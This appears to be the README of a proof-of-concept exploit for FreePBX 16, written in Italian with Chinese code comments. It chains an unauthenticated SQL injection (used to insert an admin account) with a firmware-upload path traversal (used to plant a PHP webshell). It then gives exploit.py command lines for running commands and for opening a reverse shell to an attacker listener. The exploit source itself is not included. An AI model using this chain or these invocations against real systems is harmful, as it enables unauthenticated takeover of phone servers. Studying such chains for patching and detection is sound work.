
CVE-2025-57819-RCE_PoC
Riepilogo: questo documento mostra come combinare due vulnerabilità di FreePBX 16 (CVE-2025-57819 e CVE-2025-61678) per realizzare una catena d'attacco completa dall'accesso non autenticato fino all'esecuzione remota di codice (Remote Code Execution, RCE).
| ID CVE | Componente interessato | Impatto e tipo di vulnerabilità |
|---|---|---|
| CVE-2025-57819 | Caricatore di moduli Endpoint (parametro brand) | Iniezione SQL multi-istruzione non autenticata (Unauthenticated Stacked SQL Injection) |
| CVE-2025-61678 | Processore di caricamento del firmware di Endpoint Manager (parametro fwbrand) | Upload arbitrario di file autenticato / Path Traversal (Path Traversal) |
Sfruttando il caricatore di moduli con namespace (Namespaced Endpoint Loader) viene attivata la vulnerabilità di iniezione SQL multi-istruzione non autenticata, che consente di scrivere direttamente nella tabella ampusers un nuovo account amministratore con privilegi completi.
Utilizzare le credenziali dell'amministratore appena creato per accedere all'interfaccia di amministrazione di FreePBX.
Abusare della funzione di upload del firmware di Endpoint Manager, combinandola con la vulnerabilità di path traversal nel parametro fwbrand (../../../var/www/html/<dir>), per scrivere direttamente una WebShell PHP nella directory root del sito web.
Chiamare la WebShell distribuita per eseguire un singolo comando di sistema o stabilire una reverse shell interattiva.
# 執行單一指令
python3 exploit.py --rhost pbx.example.com --command "id"
# 建立互動式 Reverse Shell (利用 pwntools 自動監聽)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444
# 使用 Plain HTTP 與自訂通訊埠
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"
| Parametro | Descrizione |
|---|---|
| --rhost | [Obbligatorio] Indirizzo dell'host di destinazione (Target Host) |
| --rport | Porta di destinazione (predefinita: 443) |
| --http | Forza l'uso di HTTP al posto dell'HTTPS predefinito |